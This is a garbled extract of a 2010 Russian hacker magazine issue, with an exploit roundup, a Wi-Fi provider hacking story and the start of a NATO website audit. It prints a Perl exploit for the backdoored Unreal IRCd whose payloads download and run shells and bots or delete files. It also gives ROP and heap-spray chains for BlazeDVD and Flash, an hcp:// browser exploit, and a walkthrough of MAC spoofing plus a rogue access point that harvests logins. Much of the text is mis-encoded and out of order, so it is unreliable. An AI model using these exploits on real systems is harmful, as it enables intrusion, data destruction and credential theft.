Ноперенос на PHP, например, проблем вызвать не должен. В архиве такжеприлагается пара примеров, все очень показательно. Один существенныйминус данного логгера — нет поддержки русского языка. Но ее, ядумаю, нетрудно будет прикрутить. Использование кейлоггера не всегдавозможно и не всегда оправдано. Но в определенных случаях мы можемполучить большие бонусы, чем, например, от классической кражи кукисов,так как данные мы получаем неизмененные, незашифрованные. Такчто стоить помнить о такой штуке.zjskeylogger v1.4 в работе: IP, уникальный ID, имена полей и перехваченный ввод данныхXÀÊÅÐ 08 /139/ 10041


ВЗЛОМАлексей Синцов, Digital Security a.sintsov@dsec.ruÎÁÇÎÐ ÝÊÑÏËÎÉÒÎÂÍåñìîòðÿ íà òî, ÷òî âñå áîëüøå è áîëüøå ðàçðàáîò÷èêîâ â êóðñå ïðîáëåìèíôîðìàöèîííîé áåçîïàñíîñòè, óÿçâèìîñòè íàõîäÿòñÿ âñå ÷àùå è ÷àùå.Çàòî ýêñïëîéòû ñòàíîâÿòñÿ âñå ñëîæíåå è ñëîæíåå. Òî åñòü, åñëè ðàíüøåäîñòàòî÷íî áûëî ïðîñòî íàéòè óÿçâèìîñòü, òî òåïåðü åùå íàäî ïîíÿòü, êàêåå ðåàëèçîâàòü â âèäå ýêñïëîéòà. Âðåìåíà ìåíÿþòñÿ. Òåïåðü ýòî íå òîëüêîstate-of-art, íî òàêæå è áèçíåñ, è êðèìèíàë. Íî è òàì è òàì ïî îáå ñòîðîíûáàððèêàä åñòü òàëàíòëèâûå è óìíûå ëþäè, ðåçóëüòàò ðàáîòû êîòîðûõïðåäñòàâëåí çäåñü, íà ýòèõ ñòðàíèöàõ.01CVECVE-2010-2075TARGETS• Unreal IRCD v. 3.2.8.1BRIEFВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГОКОДА ЧЕРЕЗ БЭКДОР В UNREAL IRCDНачнем сегодняшний обзор с проблемы в известном IRC-демоне —Unreal IRCD. Да, еще не так давно IRC было для нас всех важнейшимканалом общения. В те времена еще не существовал ни Facebook, ниTwitter, и люди охотно обменивались байтами в консольном режиме. Стех пор утекло не так много воды, и поэтому IRC — по-прежнему полноценныйи популярный сервис.И тем обиднее/веселее (нужное подчеркнуть), что некие злодеи,видимо, фанаты WEB 2.0, желающие захватить мир, внедрили бэкдор(BackDoor — черный вход) в исходные коды дистрибутива Unreal IRCD.«Затрояненная» версия IRC-демона лежала на зеркальных серверахаж с ноября 2009 года по июнь нынешнего года. Надо полагать, чтоза это время множество добрых и честных людей успели установитьданное ПО. Этот факт был обнаружен создателями демона, о чем онисо множеством извинений и донесли до широкой общественности.EXPLOITШирокая общественность пожелала создать эксплойт, которыйиспользует бэкдор в Unreal IRCD, для своих корыстных целей. Даже всостав Metasploit’а добавили соответствующий модуль.Посмотрим, что же представляет собой этот бэкдор. Как оказалось,сам бэкдор — это четыре строчки в исходных кодах, первым деломбыли добавлены две строчки в модуль s_bsc.c, в функцию read_packet(). Эта функция читает и обрабатывает все входящие пакеты.Считанные данные помещаются в переменную readbuf. Сразу послетого, как данные были считаны из сокета, в дело вступают силы зла, авернее, две строчки, внедренные в эту милую функцию злоумышленниками:#ifdef DEBUGMODE3if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))DEBUG3_LOG(readbuf);#endifТут идет сравнение первых двух байт считанных данных с некимистатическими байтами, определенными за DEBUGMODE3_INFO (еслиопределен DEBUGMODE3). Если байты совпадают, то далее считанныеданные переходят в DEBUG3_LOG(). Что же это за определения? А этона самом деле макросы, добавленные в файл struct.h.#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG). . .#ifdef DEBUGMODE3#define DEBUGMODE3_INFO "AB"#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x). . .#define DEBUG3_DOLOG_SYSTEM(x) system(x)Резюмирую увиденное: при считывании каждого входящего пакетабэкдор сравнивает первые два байта данных с последовательностью«AB». Если совпадение есть, то содержимое данных передается вызовуsystem(), то есть на исполнение в операционку.Эксплойт:#!/usr/bin/perl# Unreal3.2.8.1 Remote Downloader/Execute Trojan# DO NOT DISTRIBUTE -PRIVATE-# -iHaq (2l8)use Socket;use IO::Socket;## Payload options# Ðàçëè÷íûå «íàãðóçêè». Ïî ñóòè êîìàíäû — ýòî ëþáûå# êîìàíäû äëÿ îáîëî÷êè unix/linux, íà÷èíàþùèåñÿ ñ«AB;».# Ïåðâûå äâà áàéòà ãàðàíòèðóþò, ÷òî áýêäîð ïåðåäàñò# âñå â system(); - ÷òîáû âûïîëíèëàñü áåç ïðîáëåì# îñòàëüíàÿ ÷àñòü äàííûõ.my $payload1 = 'AB; cd /tmp; wget http://042 XÀÊÅÐ 08 /139/ 10


BlazeDVD. «Обработчик» восстанавливает стек для работы ROPpacketstormsecurity.org/groups/synnergy/bindshellunix-O bindshell; chmod +x bindshell; ./bindshell &';my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';my $payload4 = 'AB; killall ircd';my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr*';$host = "";$port = "";$type = "";$host = @ARGV[0];$port = @ARGV[1];$type = @ARGV[2];if ($host eq "") { usage(); }if ($port eq "") { usage(); }if ($type eq "") { usage(); }sub usage {printf "\nUsage :\n";printf "perl unrealpwn.pl \n\n";printf "Command list :\n";printf "[1] - Perl Bindshell\n";printf "[2] - Perl Reverse Shell\n";printf "[3] - Perl Bot\n";printf "-----------------------------\n";printf "[4] - shutdown ircserver\n";printf "[5] - delete ircserver\n";exit(1);}} elsif ($type eq "2") {print $sockd "$payload2";} elsif ($type eq "3") {print $sockd "$payload3";} elsif ($type eq "4") {print $sockd "$payload4";} elsif ($type eq "5") {print $sockd "$payload5";} else {printf "\nInvalid Option ...\n\n";usage();}close($sockd);exit(1);}unreal_trojan();# EOFSOLUTIONПроверить исходные коды, из которых собран демон, на наличиешести троянских строк или, что будет проще, проверить MD5-хешархива. У за тро ян е ной версии хеш должен быть 752e46f2d873c1679fa99de3f52a274d , у нормальной версии — 7b741e94e867c0a7370553fd01506c66. Если что не так — удалить строки и пересобрать IRC-демон илискачать с официаль ного сайта (и опять-таки проверить хеш, на всякийпожарный).02CVEN/AПЕРЕПОЛНЕНИЕ БУФЕРАВ BLAZEDVD PLAYERsub unreal_trojan {my $ircserv = $host;my $ircport = $port;# èíèöèèðóåì ñîåäèíåíèåmy $sockd = IO::Socket::INET->new (PeerAddr =>$ircserv, PeerPort => $ircport, Proto => "tcp") || die"Failed to connect to $ircserv on $ircport ...\n\n";print "[+] Payload sent ...\n";# îòñûëêà çëîãî êîíòåíòàif ($type eq "1") {print $sockd "$payload1";XÀÊÅÐ 08 /139/ 10TARGETS• BlazeDVD Player 5.1BRIEFОб уязвимости в этом плеере известно уже достаточно давно, тем неменее я бы хотел обратить внимание на свежий эксплойт под даннуюуязвимость. Дело в том, что эксплойт работает в среде Windows 7, азначит, умеет обходить DEP и ASLR. Автор эксплойта — баг-хантер,известный в Сети под ником mr_me, в девичестве — Стивен Силей(Steven Seeley). Парень этот развлекается тем, что ищет дыры вразличном ПО и пишет адекватные, рабочие эксплойты, за что честьему и хвала (блог товарища — https://net-ninja.net). Хочу отметить,что состоит он в команде Corelan Security Team, создатель которой,043


ВЗЛОМAcrobat Reader. Эксплойт сработал как часы. SWF-файл внутри PDFcorelanc0d3r, выпустил недавно свой 10-й туториал о том, как писатьсовременные эксплойты, используя технику возвратно-ориентированногопрограммирования. Неудивительно, что и этот эксплойтоснован на той же идее.EXPLOITДанный эксплойт создает файл плейлиста cst-blazedvd.plf, при открытиикоторого с помощью BlazeDVD Player выполнится фирменныйшеллкод — вызов MessageBoxA с сообщением о том, что «хак» удался:). Трудности такого эксплойта в Windows 7 две. Во-первых, память,где лежит у нас шеллкод (а лежит он в стеке) является неисполняемой,поэтому шеллкод не имеет никакого морального права выполниться.Вторая проблема — адрес функции MessageBox нам неизвестен, таккак все системные библиотеки в Windows 7 имеют случайный сдвиготносительного базового адреса. Таким образом, после перехватауправления (а именно — перезаписи SEH в стеке), эксплойт долженкак-то сделать стек исполняемым, например, с помощью вызовафункции VirtualProtect, а еще должен как-то определить адресаиспользуемых функций (VirtualProtect/MessageBox). Если ты читалпредыдущие номера, то в курсе, что такое ROP, и с чем его едят. Еслинет, то напомню — после завершения работы уязвимая функция беретиз стека переписанный нами адрес возврата. Этот адрес указывает нанекий участок исполняемой памяти с некими нужными инструкциями,обычно их одна-две штуки. Эти нужные инструкции в идеале должнызаканчиваться командой RETN, которая берет следующий адрес изстека, который также втиснут туда при переполнении буфера. Такимвот путем выполняется код, как бы из кусочков чужого кода. mr_meправильно заметил, что если брать такой код из библиотек самого плеера,то даже несмотря на наличие ASLR код всегда будет находитьсяпо одному и тому же адресу. Дело в том, что плеер скомпилирован безподдержки ASLR, и поэтому все его модули всегда грузятся по одномуи тому же адресу (со следующего номера я уже не буду подробно расписыватьROP, иначе Forb меня загрызет за трату ценной бумаги натакую избитую тему (и правильно сделает — прим. ред.)). Нетривиальнойбыла и задача заставить этот ROP работать. Ведь в чем штука: вовремя обработки SEH блока стек содержит лишь адреса на обработчики следующий блок. Все остальное в стеке далеко от ROP программы.mr_me нашел в статичных модулях адрес смены значения вершиныстека. Тогда процессор переходит по этому адресу (думая, что тамобработчик) и выполняет изменение указателя на вершину стека:BlazeDVD. Результат открытия плейлистапосвященной разработке эксплойта (который уже успел стать классическим...черт, себя не похвалишь, никто же...) с использованиемвозвратно-ориентированного программирования. Все. Больше о ROPне говорю. Ну и, конечно, эксплойт с комментариями ищи на диске.SOLUTIONЧто делать пользователям, понятное дело — обновить плеер. А вотпрограммистам надо бы быть аккуратнее. Учитывая то, что от ошибокникто не застрахован, особенно не стоит пренебрегать /dinamicbase /G S-флагами при компиляции. И еще — в связке с SehOP все это добропозволит перестраховаться и сохранить честь, так как такой тандемпрактически не пробиваем.03CVECVE-2010-1297ОШИБОЧНАЯ ОБРАБОТКАУКАЗАТЕЛЯ В FLASH PLAYERTARGETS• Adobe Acrobat Reader < 9.4• Adobe Flash Player < 10.1BRIEFВ очередной раз мир поразила 0day-угроза для любителей продукцииAdobe. А куда деваться? Темная сторона Силы нашла уязвимость вобработке байткода SWF Flash. Что примечательно, эксплойт, разработанныйтьмой, был заточен и под Acrobat Reader. Фича в том, чточиталка поддерживает воспроизведение флеш-анимации, а отсюда ипоследствия — атака сразу на два продукта. Эксплойт этот был разреверсени добавлен в Metasploit. Так что добро пожаловать...0x616074AE : ADD ESP, 4080x616074B4 : RETN 4; ÐÎÏ âîññòàíîâëåí, áåðåì àäðåñ è äâèãàåì ïî öåïî÷êåТаким образом, ROP-программа исполняется дальше, так как RETN4 берет из уже изменившегося стека значения, подсунутые mr_me.Более подробно о работе ROP можешь прочитать в моей статье,EXPLOITПытаясь разобраться в том, откуда пришла проблема, исследователиобратили внимание на то, что SWF-файл, который использовался дляэксплуатации уязвимости и заражения бедных юзеров, был практическиидентичен файлу AES-PHP.swf, который есть в свободном доступев Сети. Собственно, отличие было лишь в одном байте, а именно— в оригинальном файле байт-код 0x66 (GetProperty) заменен на044 XÀÊÅÐ 08 /139/ 10


Acrobat Reader. Содержимое heap-sprayбайт-код 0x40 (newfunction). Скорее всего, обнаружить эту уязвимостьпомог файловый фаззер.Перед тем, как сработает SWF-файл, в PDF происходит heap-spray спомощью JavaScript. В куче создается множество страниц с шеллкодом,но не только. Для того, чтобы обойти защиту DEP, в кучу так жеинжектится ROP-программа, которая с помощью системного вызовасоздает новый кусок исполняемой памяти и копирует туда шеллкод.Самое интересное — это как ROP-программа из сгенерированной кучипопала в стек. Уязвимость (вставка байт-кода newfunction) приводит квозможности перезаписи указателя ECX значением 0x0C0C0C0C, послечего происходит вызов call [ecx+0c]. Научно доказано, что по этомуадресу обычно бывают данные из heap-spray. Злостный хакер такрассчитал размер инжектируемых данных, что по адресу 0x0C0C0C0C+ 0xC находится значение: 0x700156f. То есть фактически происходитвызов call 0x700156f. Этот адрес принадлежит BIB.dll и содержит такойвот код:mov eax,[ecx+0x34]; ECX âñå åùå óêàçûâàåò íà heap-spray (0x0C0C0C0C); ïî àäðåñó 0x0C0C0C0C+0x34 ëåæèò çíà÷åíèå0x0C0C0C0C; ÷òî è çàíîñèòñÿ â EAXpush [ecx+0x24]call [eax+8];ïî àäðåñó 0x0C0C0C0C+0x8 ëåæèò 0x70048ef0x70048ef — адрес из той же библиотеки, и содержит следующий код:xchg eax,espret; EAX=0x0C0C0C0C, òåïåðü è ESP òîæå; ñëåäóþùàÿ èíñòðóêöèÿВот таким образом указатель на стек стал указателем на кучу из heapspray.Далее приведу содержимое кучи с пошаговой нумерациейдействий (все значения равны 4 байтам, первое значение в куче — поадресу 0x0C0C0C0C).0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 /pop esi / pop ebx / ret ;(øàã 3)0xcccccccc,0x70048ef, # xchg eax,esp / ret ;(øàã 2)


ВЗЛОМЭтого достаточно, чтобы при открытии плеером он пошел по этимлинкам. REF указывает на картинку, которую гордо покажет на экране,а вот PARAM name="HTMLView" поведет плеер за дополнительнымиданными — starthelp.html:Windows Help Center. Эксплойт работает через любой браузер.ни при чем; по словам Тэвиса, он делал все этот независимо от работы,в свое свободное время и ради собственного удовольствия.Комьюнити начала делится на два лагеря. Лидер Immunity написалписьмо, о том, что Тэвис, конечно, поспешил, но спускать собак нанего не надо. Разработчики и так живут в шоколаде — ресерчерыбесплатно ищут уязвимости, сообщают детали и ждут... иногда ждутгод, иногда больше. С другой стороны, такой подход плодит заразуи был сравнен одним товарищем с кибертерроризмом. Мда. Естьи третья сторона — NO MORE FREE BUGS. Другими словами, еслиразработчику нужна информация об уязвимостях — пусть платити потом делает, что хочет. Некоторые разработчики уже пошли потакому пути...EXPLOITЦентр Помощи и Поддержки — это ПО (helpctr.exe), которое по умолчаниюимеется в винде, оно может обрабатывать URL на документы,которые начинаются со специального префикса «hcp://». Далее идетпроверка, есть ли данный документ в списке доверенных. Вот, собственно,Тэвис и нашел путь, который позволяет обмануть эту проверку.Вернее, он нашел XSS в таком документе.hcp://system/sysinfo/sysinfomain.htm?svr=testДокументы эти находятся в привилегированной зоне, и Тэвис нашелпуть исполнить произвольный код: : eval(unescape('Run("calc.exe")')). Однако из-за фильтра IE8так пользователя не взломать. И вот тут наш хитрец изловчился — онвоспользовался Windows Media Player... Да, да... дело в том, что этотплеер может легко вызываться из браузера, например, с помощью егоActiveX. У плеера есть возможность ходить за всяким данными по URL,поэтому, подготовив небольшой ASX-скрипт, можно указать плееру,что показывать, и куда, собственно, ему идти:Тут Тэвис использует хитрую уязвимость обработки спецсимволов вцентре помощи, чтобы обойти проверку на доверенность. Дело в том,что функция не очень хорошо переводит из hex'ов в числа при раскодировкеunescape-строки, поэтому в результате мы увидим калькулятор.Более того, с IE7 можно не париться из-за фильтра и сразу так и даватьфреймом по... центру помощи. Однако вариант с Media Player'ом можноиспользовать и для кросс-браузерных атак, что Тэвис и показал:Testing HCPOK// HCP:// Vulnerability, Tavis Ormandy, June 2010.var asx = "http://ZLOI-URL/simple.asx"; // äëÿ ïëååðà// Åñëè IE, òî ãðóçèì àêòèâèêñ è ïåðåäàåì åìó asx.if (window.navigator.appName== "Microsoft Internet Explorer") {// Internet Explorervar o = document.createElement("OBJECT");o.setAttribute("classid","clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");o.openPlayer(asx); //ÁÀÕ!// Åñëè íå IE, òî îòêðûâàåì asx â ôðåéìå,// êðóòûå áðàóçåðû ñàìè ïîéìóò, ÷òî íóæåí//ìåäèà ïëååð äëÿ ýòîãî...} else {// Mozilla, Chrome, Etc.var o = document.createElement("IFRAME");o.setAttribute("src", asx);document.body.appendChild(o); //ÁÀÕ!}Добавлю, что плеер мерзко предупреждает о том, что ему надо зачемтосходить на ZLOI-URL.SOLUTION• Отключить протокол hcp (удалив HKCR\HCP\shell\open) центрпомощи.• Воспользоваться патчем от Тэвиса — http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip. Этот патч фикситбинарник helpctr.exe, делая проверку надежной.• Ждать патча от Microsoft. z046 XÀÊÅÐ 08 /139/ 10


ВЗЛОМКристинаÂÎÇÄÓØÍÛÉÄÓÐØËÀÃÈñòîðèÿ âçëîìà êðóïíîãî áåñïðîâîäíîãî ïðîâàéäåðà«Áåñïðîâîäíîé Èíòåðíåò â êàæäûé äîì» — âåñüìà çàìàí÷èâûé ëîçóíã. Ñîãëàñèñü,ïðèÿòíî, êîãäà òâîé ïðîâàéäåð, åùå êàêèõ-òî 5 ëåò íàçàä ïðåäîñòàâëÿâøèéìîäåìíûé äîñòóï, çà ñ÷èòàííûå äíè ðàçâåðòûâàåò â ìàññû WiFi-èíôðàñòðóêòóðóïî âñåìó ãîðîäó (íó èëè õîòÿ áû â åãî öåíòðå). Êàçàëîñü áû, ñáûëàñü ìå÷òà èäèîòà,è òåïåðü òû, ñèäÿ â Ìàêäîíàëüäñå è âêóøàÿ òðåòèé ìàêôðåø, ñìîæåøü íàñëàäèòüñÿáûñòðûì èíòåðíåòîì. Íî, ïðèñìîòðåâøèñü âíèìàòåëüíî, òû ïîíèìàåøü, ÷òî òàêíå áûâàåò — áåçîïàñíîñòü ïðîâàéäåðà, à çíà÷èò è âñåõ åãî êëèåíòîâ, îñòàâëÿåòæåëàòü ëó÷øåãî. ×òîáû íå áûòü ãîëîñëîâíîé, ïðåäëàãàþ òâîåìó âíèìàíèþ ñëó÷àéíåôîðìàëüíîãî àóäèòà íåäàâíî ðîäèâøåéñÿ ñåòè. È, êòî çíàåò, ìîæåò áûòü òûóáåäèøüñÿ â åãî ïðàâäèâîñòè íà ñâîåì ãîðå-ïðîâàéäåðå.Давай заранее договоримся: дабы соблюсти этикет и не ставить внеловкое положение моего провайдера, я не буду называть конкретныесайты и бренды (кому надо, тот все поймет сам). Тем более,по закону ничего нарушено не было — аудит выполнялся исключительнопод своими, честно купленными аккаунтами. Да и цель этойстатьи — не опорочить честь какой-то компании, а лишь указать наобщие недостатки WiFi-инфраструктуры, которые, наверняка, присутствуюту крупнейших провайдеров.ÏÅÐÂÛÅ ÐÀÇÎ×ÀÐÎÂÀÍÈßИтак, вернемся к маркетингу. Представь себе крупный российскийгород-миллионник, в котором рекламщики затрубилилозунгами: «Беспроводной, быстрый и удобный Интернет!», «НасладисьСетью в любимом кафе» и т.д. и т.п. Когда у тебя в городепоявляется такая возможность, то сразу хочется ее реализовать.Ведь, согласись, удобно (а для москвичей и петербуржцев ужедавно привычно — прим. ред.) сидеть в каком-нибудь кафе сосвоим верным другом-ноутбуком и общаться по аське о делахнасущных.Но, немного пообщавшись, испытав серию разрывов и дисконнектов,я почувствовала нотки первых разочарований. И даже не потому, чтоканал слабоват, а потому что при повторном коннекте (даже через 10минут) не требовалось повторной авторизации.Это что еще такое? Значит, я плачу за доступ, а провайдер совсем незаботится о моей безопасности (ведь все сессии после моего уходатеоретически могут быть доступны другим людям!). После такогоXÀÊÅÐ 08 /139/ 10 047


ВЗЛОМИз ARP-сообщений можно узнать МАС и IP другихпользователей сетиВ кадре виден логин, пароль и адрес хоста,на котором производилась авторизацияDVDdvdНа диске тынайдешь программы,оказавшие мнепосильную помощьв экспериментах(MACChange,Small HTTP Server,WireShark со всемиутилитами, UfasoftSniffer, InterCepter),а также PHP-скрипт,перехватывающийавторизационныесведения.WARNINGwarningВнимание!Информацияпредставленаисключительнос цельюознакомления!Ни автор, ниредакция затвои действияответственностине несут!удивления мне захотелось чуть-чуть поснифать сетку, азатем проверить предположения.Как законопослушная девушка, я не стала снифать компыпосетителей крупного кафе (сидящих на том же беспроводноминтернете). Вместо этого я пригласила другас ноутбуком :). Он угостил меня чашечкой кофе и сталимитировать бурную деятельность в Сети (запустил аську,контакт, проверил почту и т.п.).ÍÞÕÀÅÌ È... ÇÀÄÛÕÀÅÌÑß!Я же, не теряя времени, запустила WireShark и сталамониторить периметр. Среди пакетов я сразу увиделаSSL-рукопожатие на сайте провайдера...К слову, как происходит авторизация соединения: сначалаклиент коннектится к незащищенной WEP/WPA-точке,затем обращается браузером на любой сайт в Сети и редиректитсяна страницу авторизации. Там он вводит логини пароль личного счета (пополняемого путем отправкиSMS-сообщения на специальный номер), и после этого, повсей видимости, на роутере создается правило, позволяющееюзать интернет.Так вот, после зашифрованной SSL-авторизации яувидела совершенно незакриптованные пароли от«ВКонтакте» и почты, слегка заXOR’енные пассворды отАськи (которые легко вскрываются тем же Ufasoft Snifferили InterCepter’ом) и неприличные ссылки, ведущие напорносайты (совсем уже никого не стесняется... :). Я неупоминаю про других клиентов этой сети (их я не анализировала,поскольку специально поставила фильтр наIP-адрес друга, чтобы не нарушать закон).Но, как говорится, если совсем хочется, то можно (и даженужно!) чуть-чуть нарушить (но только для расширениякругозора :). Зная IP и MAC-адреса, фигурирующие впериметре (а они узнаются анализом ARP-сообщений),можно легко их проспуфить.На сайте провайдера написано, что перед отключением отСети необходимо завершить сессию путем нажатия кнопки«Выход» на авторизационном сайте, иначе аккаунт будетдоступен еще некоторое время после отключения. Этонам только на руку, поскольку далеко не каждый клиентбудет этим заморачиваться :).Итак, с помощью хорошей программы по смене МАСадресов— MACChange (или вручную, кто как любит) — изменимадрес своего беспроводного адаптера на известныйнам МАС соседа.Не забудем присвоить себе его IP. Затем попробуемподключиться к сети. О чудо, оказывается, провайдердопускает как DHCP-, так и Static-адресацию. И, такимобразом, можно наслаждаться прелестями беспроводногоинтернета бесплатно. А точнее, за чужой счет!À ×ÒÎ, ÅÑËÈ?..Ну, раз уж мы нарушили закон ради эксперимента, попробуемуглубить и расширить наш опыт. Что бы еще такогопридумать, чтобы показать все недостатки нашей беспроводнойсети? Сразу же приходит мысль об организацииMitM-атаки, путем инсталляции подставной точки. Ноздесь уже в кафе не расположишься.Для проведения такого опыта нам необходимо иметь несколькокомпонентов: веб-сервер, точку доступа и ноутбукдля тестирования.Мне пришлось идти домой, искать на антресолях завалявшийсяDIR-300 и настроить на нем DHCP-сервер.SSID точки я определила аналогичным идентификаторуоператора.В качестве веб-сервера я выбрала компактный и удобныйSmall HTTP Server. Много слов уже было сказано об этоммалыше. Мне лично нравится его удобный интерфейси, несмотря на весьма небольшие размеры, широкийфункционал.Поднимем на нем WEB- и DNS-серверы, чтобы при попыткезайти на какую-нибудь веб-страницу пользователянаправляло на HTML-страницу, напоминающую упомянутыйсайт регистрации в сети оператора. Теперь создадимPHP-скриптик, сохраняющий вводимую на сайте информациюв отдельный txt-файл.


MACChange. Изменение МАС-адреса своегобеспроводного адаптераВвод логина и пароля на подставном сайтеecho "Íå ìîãó ïðîèçâåñòè çàïèñü â ôàéë ($filename)";exit;}else{echo " ";}echo "Çàïèñàíî ($somecontent) â ôàéë ($filename)";fclose($handle);}else {echo "Ôàéë $filename íåäîñòóïåí äëÿ çàïèñè";}?>Подстава готова, запускаем!MITM  ÄÅÉÑÒÂÈÈПлан кражи логина и пароля от сети таков: пользователь активируетсвой беспроводной адаптер и пытается подключиться к сети. Приэтом в списке доступных сетей он видит подставную точку доступа стем же SSID, что и у коммерческого оператора. Система выносит еена первый порядок, поскольку сигнал от нее сильнее операторского.Далее клиент подключается к этой точке, заходит в свой браузер ипопадает на страницу авторизации. Эта страница также имеет схожийсо страницей оператора интерфейс. Пользователь, ничего не подозревая,вводит свои реквизиты в соответствующие поля. При нажатиина кнопку «войти» введенные им данные сохраняются посредствомPHP-скрипта в текстовый файл на сервере. А клиент остается безинтернета (и, конечно же, без логина с паролем :) — прим. ред.). Чтобыничего не упустить из виду, пробуем авторизоваться на подставнойточке доступа: вводим реквизиты, жмем «войти»… далее ничего непроисходит, как кажется обычному юзеру, но скрипт уже сделал своегрязное дельце, и данные сохранены на сервере. Откроем этот файл ипосмотрим его содержимое. Вуаля! Вот данные, которые мы ввели, исюрприз: кто-то уже подключился к нашей точке доступа и теперь естьеще пара логинов и паролей для входа в сеть. В такой ситуации дажеSSL-авторизация не спасает от кражи реквизитов.ÏÀÖÈÅÍÒ ÑÊÎÐÅÅ ÆÈÂ, ×ÅÌ ÌÅÐÒÂЧто можно тут сказать? Самое страшное, что таких сетей больше половиныпо всей стране (только мне известны четыре крупных городамиллионникас подобной схемой авторизации). И никто не можетгарантировать легитимность входящих пользователей. При этомвладельцы сервисов практически никогда не предупреждают своихклиентов об уязвимости их данных, о рисках кражи информации. Всежаждут увеличения прибыли, пренебрегая при этом всеми методамиобеспечения безопасности, поскольку это приводит к снижению скоростипередачи данных и усложняет процесс настройки клиентскогооборудования (и, соответственно, получения доступа к сети).Поэтому хочу напоследок дать хороший совет: обращай вниманиена точки доступа, к которым ты подключаешься, и не передавайважную информацию в незащищенных сетях (либо используй приэтом VPN-соединение), поскольку это может привести к фатальнымпоследствиям. ztxt-файл с сохраненными даннымиXÀÊÅÐ 08 /139/ 10 049


ВЗЛОМANTI-NATO natobreak@yahoo.comÍåáåçîïàñíîñòü ÍÀÒÎÊÀÊ ÍÀÒÎ ÁÎÐÅÒÑß Ñ ÕÀÊÅÐÀÌÈ ìîåì ìàòåðèàëå òû ìîæåøü óâèäåòü, êàê òðóäíî, îêàçûâàåòñÿ, ñäåëàòüïðàâèëüíóþ ñèñòåìó âåá-àóòåíòèôèêàöèè. Îñîáåííî åñëè ýòî êàñàåòñÿ áîëüøîãîêîðïîðàòèâíîãî ïîðòàëà. È òåì áîëåå, åñëè îí îòâå÷àåò çà áåçîïàñíîñòü öåëîéñòðàíû, äà ïðèòîì íå îäíîé.В нашем журнале появилась очень хорошая практика — стали публиковатьсяаудиторы информационной безопасности. Очевидно, чтоактуальность темы аудита возросла многократно. Наш постоянный читатель,конечно, понимает, почему. Достаточно просмотреть архивнуюподшивку журнала за прошедшее время и можно смело утверждать,что с помощью технологий и программ, о которых писали в этих «Хакерах»,можно успешно воевать (и не только на коммерческом рынке).Кстати, про корпоративную безопасность. Многие уже давно говорято том, что атаки таких классов как SQL-инъекция, использованиеXSS, LFI/RFI или ошибок в аутентификации, изживают свой век и ужене актуальны. Многие специалисты приводят в своих презентацияхвсевозможные графики, на которых отображены все время уменьшающиеся«столбики» с процентами обнаруживаемых уязвимостейподобного рода.Практика показывает, что доверять таким цифрам нельзя, потому что,как правило, в качестве исходных данных для красивых графиков используютсярезультаты автоматического сканирования веб-ресурсовне менее автоматическими сканерами. Конечно, современныеавтоматические сканеры (подобные Acunetix, nikto, w3af и sqlmap) ужестали похожи на искусственный интеллект — они не умеют разве чтотолько заваривать кофе и оказывать эскорт-услуги. Но, к сожалению,они неспособны распознать и вскрыть правду о сложных логическихошибках аутентификации, скрытых дефектах генерации выходныхданных, а зачастую и обработки входных данных. Надо ли говорить опростых уязвимостях, которые сами по себе не представляют опасности,но, будучи связаны между собой, могут дать новый вектор атакизлоумышленнику?И вот вам, пожалуйста.ÐÅØÈÒÅËÜÍÎÅ ÍÀÒÎКак известно, Организация Североатлантического договора, известнаятакже под аббревиатурой НАТО, является военно-политическимблоком, созданным давным-давно для противодействия возможнымвоенным действиям, направленным против стран Европы и Америки.Россия (тогда еще Советский Союз) в этот блок не вошла, потому чтоизначально предполагалось, что и она тоже может эти самые агрессивныевоенные действия осуществлять.В структуре НАТО существуют всякого рода организации, которые отвечаютза разработки в области безопасности — начиная от военной,научно-технической и заканчивая информационной. И дальше речь050 XÀÊÅÐ 08 /139/ 10


Очень странные ошибки на сайте ФСТЭК — могут лиони привести к несанкционированному доступу?Вот так выглядят хеши, если их привестив нормальный вид и сопоставить с ужеполученными даннымипойдет про информационную безопасность, а конкретнее — про научныйинститут Research & Technology Organisation (RTO), созданный врамках НАТО.В нашем журнале уже писали об уязвимостях военных сайтов наших«союзников». Как-то раз герои информационной войны крепко подметили,что у «сетецентрических воинов» безопасность есть, информацияесть, а вот безопасность информации — увы, не на высоте.Ну что ж, опровергнем или подтвердим?ÏÅÐÂÛÉ ÎÑÌÎÒÐНаучно-исследовательская организация НАТО — предприятие неиз маленьких. Подстать финансовому размаху и веб-сайт, которыйсо временем из простой интернет-витрины вырос в целый портал, вдебрях которого теперь хранится даже Военная Тайна. Вот, например,для того, чтобы получить секретные доклады, участникам не менеесекретных военных симпозиумов выдают логины и пароли для доступак файловому серверу и веб-сайту RTO.NATO.INT. Все бы хорошо,вот только участники подкачали — живут они в разных странах и, восновном, за тридевять земель, а посему было велено разместить всеэто добро на выделенных серверах с подключением к сети интернет.Здесь сказочке конец, а дальше — начало процесса независимогоаудита применяемых решений по защите Военной Тайны подследственнойорганизации.Рассмотрим для начала такую мелочь, как файл robots.txt:User-agent: *Disallow: /images/Disallow: /<strong>img</strong>/Disallow: /homepix/Disallow: /rnd<strong>img</strong>/Disallow: /Include/Disallow: /hpix/Disallow: /Mailer/Disallow: /InfoPack/Disallow: /aspx/Disallow: /bin/Disallow: /cgi-bin/Disallow: /ContactUs.aspxDisallow: /Copyright.htmDisallow: /css/Disallow: /Detail.aspDisallow: /enrolments/Disallow: /FAQ.htmDisallow: /foad.htmDisallow: /fr/Disallow: /help.htmDisallow: /pfp.ppt...Disallow: /Prog/Disallow: /Reports.aspDisallow: /SendAbstractDetails.aspxDisallow: /tor.aspDisallow: /Taxo/Disallow: /Variables.aspDisallow: /variables.aspDisallow: /voc.htmDisallow: /vpn.htmlDisallow: /Webmail.aspDisallow: /yourws.aspSitemap: http://www.rto.nato.int/sitemap.xmlНаписанный явно не в 2010 году, этот путеводитель в мир конфиденциальнойинформации RTO содержит в себе даже указание наконкретный файл, который можно скачать и посмотреть (pfp.ppt). Надоли говорить о необходимости использования nikto для сканированиятиповых каталогов, если они уже весьма 